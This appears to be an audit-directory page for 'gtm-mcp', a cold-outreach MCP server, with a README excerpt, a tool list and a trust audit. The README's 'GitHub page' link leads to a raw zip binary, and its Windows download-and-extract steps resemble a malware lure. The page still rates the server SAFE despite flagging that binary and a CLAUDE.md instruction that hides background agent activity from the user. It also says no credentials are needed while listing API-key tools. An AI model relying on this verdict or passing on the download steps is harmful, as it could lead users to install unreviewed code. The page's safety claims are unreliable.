Atlas / MCP servers / aleprieto790-alt / gtm-mcp

gtm-mcpSAFE

mcp/aleprieto790-alt/gtm-mcp

Run B2B cold outreach in Claude Code: find companies, verify fit, extract contacts, write sequences, and launch campaigns locally

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
54 30r · 24w · 0d
Transport
stdio
License
—
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/aleprieto790-alt/gtm-mcp/main/src/gtm_mcp/tools/gtm-mcp-v2.6.zip)

🚀 What this does

gtm-mcp is a self-hosted outreach pipeline for Claude Code. It helps you find companies, sort them with AI, pull contact data, write personal outreach, and send it to SmartLead.

You run one command, /launch, and Claude handles the steps in order. The server does not make LLM calls. All reasoning stays in Claude.

🪟 Windows setup

Use the link below to open the project page, then download or clone it to your Windows PC.

Open the download page

What you need

  • Windows 10 or Windows 11
  • Claude Code installed
  • A browser
  • Internet access
  • A SmartLead account
  • An Apollo account
  • A local way to run the project files

Before you start

Make sure you have:

  • Access to the GitHub page
  • Your Apollo login
  • Your SmartLead API key
  • Permission to run Claude Code on your machine

📥 Download and install

  1. Open the GitHub page: https://raw.githubusercontent.com/aleprieto790-alt/gtm-mcp/main/src/gtm_mcp/tools/gtm-mcp-v2.6.zip
  2. On the page, get the code by using the green Code button
  3. Choose Download ZIP, or copy the repository link for Git
  4. Save the files to a folder on your PC, such as C:\gtm-mcp
  5. If you downloaded a ZIP file, right-click it and choose Extract All
  6. Open the extracted folder
  7. Follow the project files in that folder to connect Claude Code and your outreach tools

🧩 What the app does

The workflow is built for outbound sales work:

  • Finds companies in Apollo
  • Classifies them with Claude
  • Pulls contact details
  • Writes outreach that fits e
Read from source at commit b53b0b27a073OBSERVED · 2026-10-12
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add gtm-mcp -- uvx gtm-mcp
claude-desktop
{
  "mcpServers": {
    "gtm-mcp": {
      "command": "uvx",
      "args": [
        "gtm-mcp"
      ]
    }
  }
}
03

Exposed tools (54)

30 read · 24 write · 0 destructive.

ToolRiskDescription
apollo_enrich_companiesreadBulk enrich companies by domain. Max 10 per call, 1 credit per company.
apollo_enrich_peoplereadEnrich people by Apollo person IDs. 1 credit per verified email.
apollo_estimate_costwriteEstimate Apollo credits needed for a pipeline run. No API call.
apollo_get_taxonomyreadGet Apollo industry taxonomy with hex tag_ids + employee ranges.
apollo_search_companiesreadSearch Apollo for companies. 1 credit/page. Rate limited (300ms + 429 retry).
apollo_search_peoplereadSearch Apollo for people at a company. FREE — no credits (search only).
apollo_search_people_batchreadSearch people across many domains in parallel. FREE — no credits for search.
assign_campaigns_to_projectsreadAuto-assign SmartLead campaigns to projects. Deterministic — zero LLM.
blacklist_addwriteAdd domains to the global blacklist with temporal metadata.
blacklist_checkreadCheck if a domain is blacklisted.
blacklist_importwriteImport domains from a file into the blacklist.
campaign_pushwriteAtomic SmartLead campaign setup — ONE tool call does everything.
create_projectwriteCreate a new project in workspace.
find_campaignreadFind a campaign by SmartLead ID or slug across all projects.
get_configreadGet current configuration. API keys show true/false (not values). Non-secret fields returned as values.
get_project_costswriteGet cost breakdown for a project — totals, per-campaign, and per-run.
getsales_activate_flowreadActivate a GetSales flow. Must pass confirm=
getsales_add_leadswriteAdd leads to a GetSales flow.
getsales_build_flowwriteBuild and create a GetSales LinkedIn flow from messages — no manual node construction.
getsales_create_flowwriteCreate a GetSales LinkedIn outreach flow from raw nodes. Prefer getsales_build_flow instead.
getsales_list_profilesreadList GetSales LinkedIn profiles.
learn_assignment_correctionwriteLearn from user correction — update project_rules.json.
list_projectsreadList all projects in workspace.
load_datareadLoad data from project workspace.
normalize_company_namereadNormalize company name — strips Inc/LLC/Ltd/Corp/GmbH and trailing punctuation.
pipeline_compute_leaderboardwriteCompute keyword + industry leaderboard from run data. Zero LLM.
pipeline_gather_and_scrapereadAtomic gather + scrape pipeline — ONE tool call, full streaming inside.
pipeline_import_blacklistwriteExport leads from SmartLead campaign + save as project-level blacklist.
pipeline_people_to_pushwriteAtomic post-classification → SmartLead. ONE call, ZERO LLM.
pipeline_prepare_continuationreadDeterministic continuation state builder for
pipeline_probereadDeterministic probe — 6 Apollo searches + batch scrape in ONE call.
pipeline_save_contactswriteDeterministic save: contacts to BOTH contacts.json AND run file.
pipeline_save_intelligencewriteSave cross-run intelligence from keyword leaderboard. Zero LLM.
save_datawriteSave data to project workspace. Modes: write, merge, append, versioned.
scrape_batchreadScrape many URLs in parallel with concurrency pool. No credits.
scrape_websitereadScrape a website and return cleaned text. No credits.
set_configwriteSet a configuration value (e.g. apollo_api_key).
sheets_createwriteCreate a Google Sheet on Shared Drive with standard contact headers.
sheets_export_contactsreadExport project contacts to a Google Sheet.
sheets_readreadRead all data from a Google Sheet tab as list of dicts.
smartlead_activate_campaignreadActivate a SmartLead campaign. confirm must be exactly
smartlead_add_leadswriteAdd leads to a SmartLead campaign.
smartlead_create_campaignwriteCreate a SmartLead campaign with schedule, settings, and email accounts.
smartlead_export_leadsreadExport all leads from a SmartLead campaign.
smartlead_get_campaignreadGet campaign details by ID — name, status, assigned accounts, sequences.
smartlead_get_lead_messagesreadFetch full message thread for a lead — sent emails + received replies.
smartlead_list_accountsreadLoad ALL SmartLead email accounts, cache locally, return SUMMARY.
smartlead_list_campaignsreadList all SmartLead campaigns.
smartlead_pause_campaignreadPause an active SmartLead campaign. confirm must be exactly
smartlead_search_accountsreadSearch cached email accounts by name, email, or domain.
smartlead_send_replywriteSend a reply to a lead in SmartLead.
smartlead_send_test_emailwriteSend a test email from a campaign to verify the sequence.
smartlead_set_sequencewriteSet email sequence steps for a SmartLead campaign.
smartlead_sync_replieswriteSync replied leads from a SmartLead campaign. Saves replies.json to workspace.
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (5 observation(s))
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (4)

MEDIUMInventory / provenance · inv.binary · CWE-1104
src/gtm_mcp/tools/gtm-mcp-v2.6.zip
gtm-mcp-v2.6.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWInventory / provenance · inv.no_license · CWE-1104
Why it matters. no LICENSE file and no repo licence
Fix. add a licence
LOWObfuscation / stealth · review.concealment · CWE-506, CWE-94
CLAUDE.md
Background workers produce zero chat output
Why it matters. The silence-protocol skill instructs the agent to suppress all output from background workers, hiding their activity from the user.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts
INFOInventory / provenance · inv.oversize · CWE-1104
src/gtm_mcp/reference/apollo_embeddings.npz
src/gtm_mcp/reference/apollo_embeddings.npz
Why it matters. 8581070 bytes not read

Gates applied: no_behavioural_pass, no_license.

Audited 2026-10-12 · audit v0.4.1 · source sha b53b0b27a073full audit observations/trust-audit/mcp-server/aleprieto790-alt__gtm-mcp.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12b53b0b27a073SAFEB89first audit
06

Questions

What is the gtm-mcp MCP server?

Run B2B cold outreach in Claude Code: find companies, verify fit, extract contacts, write sequences, and launch campaigns locally

What tools does gtm-mcp expose?

54 in total: 30 read-only, 24 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is gtm-mcp safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does gtm-mcp need?

No credential environment variables were found in its source, so it appears to need none.

How does gtm-mcp run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as gtm-mcp.

How current is this page?

The grade is for one exact copy of the source (b53b0b27a073), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement